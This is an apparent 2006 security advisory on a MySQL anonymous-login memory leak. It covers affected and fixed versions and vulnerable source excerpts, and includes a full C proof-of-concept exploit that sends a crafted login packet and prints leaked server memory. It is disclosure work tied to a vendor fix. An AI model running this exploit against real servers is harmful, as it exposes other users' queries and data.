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MySQL Anonymous Login Handshake
------------------------------------------------------------------------
SUMMARY
MySQL is a multithreaded, multi-user, SQL Database Management System
(DBMS) with an estimated six million installations. MySQL AB makes MySQL
available as free software under the GNU General Public License (GPL), but
they also dual-license it under traditional proprietary licensing
arrangements for cases where the intended use is incompatible with the
GPL.
MySQL Server has an information leakage vulnerability in the way MySQL
parses login packets with anonymous users (blank password).
DETAILS
Vulnerable Systems:
* Mysql server versions 4.1.18 and prior.
* Mysql server version 5.0.20.
Immune Systems:
* Mysql server version 4.0.27
* Mysql server version 4.1.19
* Mysql server version 5.0.21
* Mysql server version 5.1.10
Note:
To take advantage of these flaws an attacker should have direct access to
MySQL server communication layer (port 3306 or unix socket). But if used
in conjuction with some web application flaws (i.e. php code injection)
an attacker could use socket programming (i.e. php sockets) to gain access
to that layer.
By crafting a specifically malformed login packet, initial db name is
filled with uninitialized memory content.
Let's suppose MySql Server has anonymous access.
Infact, if we want to use 'wisecdb' database as user 'wisec' and password
's' a normal client would send a packet like this:
---------------------------------------------------------------
43 00 00 01 0d a6 03 00 00 00 00 01 08 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 77 69 73 65 63 00 14 aa 69 23 07 2a
ff 99 61 a3 c4 5f 04 66 3b 32 ef a1 f2 b6 59 77
69 73 65 63 64 62 00
C . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . .
. . . w i s e c . . . i # . *
. a . . _ . f ; 2 . . . . Y w
i s e c d b .
---------------------------------------------------------------
but if we look at the code (MySQL <= 5.0.20)
on sql_parse.cc line ~ 993
function check_connection(THD *thd):
char *user= end;
char *passwd= strend(user)+1;
char *db= passwd;
char db_buff[NAME_LEN+1]; // buffer to store db in
utf8
char user_buff[USERNAME_LENGTH+1]; // buffer to store user in
utf8
uint dummy_errors;
uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
*passwd++ : strlen(passwd);
db= thd->client_capabilities & CLIENT_CONNECT_WITH_DB ?
db + passwd_len + 1 : 0;
/* [1] */
/* Since 4.1 all database names are stored in utf8 */
if (db)
{
db_buff[copy_and_convert(db_buff, sizeof(db_buff)-1,
system_charset_info,
db, strlen(db),
thd->charset(), &dummy_errors)]= 0;
db= db_buff;
}
--
It can be noticed a check for packet construction is missing here[1].
Just replace the null byte at the end of username 'wisec\0' with any
other byte like this 'wisec0'. What happens? User is assigned to some part
of the packet content, and db is assigned with some (internal) memory
beyond packet_length.
So if we send a specific packet we'll get an error message like this:
Access denied for user ''@localhost to database 'lqt'
By changing packet lenght (db length) and with a little bit of luck a
malicious user could get sensitive informations such as parts of queries
and or response executed by some previously logged user.
Vendor Status:
Notified on April, 25th 2006, Confirmed on April, 26th 2006.
New versions released on 2nd May 2006.
Fix:
Update to 4.0.27, 4.1.19, 5.0.21, 5.1.10 versions.
You can download them on <http://dev.mysql.com/downloads/>
http://dev.mysql.com/downloads/
Proof of concept:
Anonymous packet information leakage:
Compile with:
gcc my_anon_db_leak.c -o my_anon_db_leak
usage:
my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip] [-p port_num]
[-n db_len]
Example
$ my_anon_db_leak -s /tmp/mysql.sock -n 20
my_anon_db_leak.c:
/* ****************************************************************
April 21.st 2006
my_anon_db_leak.c
MySql Anonimous Login Memory Leak
MySql <= 5.0.20
MySql <= 4.1.x
copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)
GPL 2.0
****************************************************************
Disclaimer:
In no event shall the author be liable for any damages
whatsoever arising out of or in connection with the use
or spread of this information.
Any use of this information is at the user's own risk.
****************************************************************
Compile with:
gcc my_anon_db_leak.c -o my_anon_db_leak
usage:
my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip] [-p port_num]
[-n db_len]
*/
#include <sys/types.h>
/* we need MSG_WAITALL - that's why this ugly #ifdef, why doesn't glibc2
have MSG_WAITALL in its <socketbits.h> ??
*/
#ifdef __linux__
#include <linux/socket.h>
#else
#include <sys/socket.h>
#endif
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/file.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h> /* sockaddr_in{} and other Internet defns */
#include <netdb.h> /* needed by gethostbyname */
#include <arpa/inet.h> /* needed by inet_ntoa */
char anon_pckt[] = {
0x3d, 0x00, 0x00, 0x01, 0x0d, 0xa6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01,
0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x14, 0x99,
0xdb, 0x54, 0xb6, 0x6a,
0xd7, 0xc2, 0x86, 0x4c, 0x50, 0xa8, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72,
0x0d, 0xad, 0x45, 0x73,
0x00
}; // len=16*4+1=65;
int anon_pckt_len = 65;
#define USOCK "/tmp/mysql2.sock"
int
tcp_conn (char *hostname, int port)
{
int sockfd;
int n;
struct sockaddr_in servaddr;
struct hostent *hp;
if ((hp = gethostbyname (hostname)) == 0)
{
perror ("gethostbyname");
exit (0);
}
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
perror ("socket");
exit (1);
}
bzero ((char *) &servaddr, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (port);
memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);
if (servaddr.sin_addr.s_addr <= 0)
{
perror ("bad address after gethostbyname");
exit (1);
}
if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) <
0)
{
perror ("connect");
exit (1);
}
return sockfd;
}
int
unix_conn (char *path)
{
int fd, len;
struct sockaddr_un sa;
fd = socket (PF_UNIX, SOCK_STREAM, 0);
if (fd < 0)
{
perror ("cli: socket(PF_UNIX,SOCK_STREAM)");
exit (1);
}
sa.sun_family = AF_UNIX;
strcpy (sa.sun_path, path);
len = sizeof (sa);
if (connect (fd, (struct sockaddr *) &sa, len) < 0)
{
perror ("cli: connect()");
exit (1);
}
return fd;
}
int
main (int argc, char *argv[])
{
int fd;
int i, ret;
char packet[65535];
char *path;
char *host;
int port = 3306;
char buf[65535];
int db_len = 0;
int pckt_len = anon_pckt_len;
int unix_sock = 1;
char c;
path = strdup (USOCK);
host = strdup ("127.0.0.1");
opterr = 0;
while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)
switch (c)
{
case 's':
path = strdup (optarg);
unix_sock = 1;
break;
case 'h':
host = strdup (optarg);
unix_sock = 0;
break;
case 'p':
port = atoi (optarg);
unix_sock = 0;
break;
case 'n':
db_len = atoi (optarg);
break;
default:
break;
}
bzero (packet, 65535);
pckt_len = anon_pckt_len + db_len;
printf ("%d\n", pckt_len);
for (i = 0; i < pckt_len; i++)
packet[i] = anon_pckt[i];
if (db_len)
for (i = anon_pckt_len - 2; i < pckt_len; i++)
packet[i] = 'A';
packet[pckt_len - 1] = '\0';
packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;
packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;
for (i = 0; i < pckt_len; i++)
printf (" %.2x%c", (unsigned char) packet[i],
((i + 1) % 16 ? ' ' : '\n'));
printf ("\n");
if (unix_sock)
fd = unix_conn (path);
else
fd = tcp_conn (host, port);
sleep (1);
ret = recv (fd, buf, 65535, 0);
if (send (fd, packet, pckt_len, 0) != pckt_len)
{
perror ("cli: send(anon_pckt)");
exit (1);
}
ret = recv (fd, buf, 65535, 0);
for (i = 0; i < ret; i++)
printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));
printf ("\n");
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:stefano.dipaola@wisec.it>
Stefano Di Paola.
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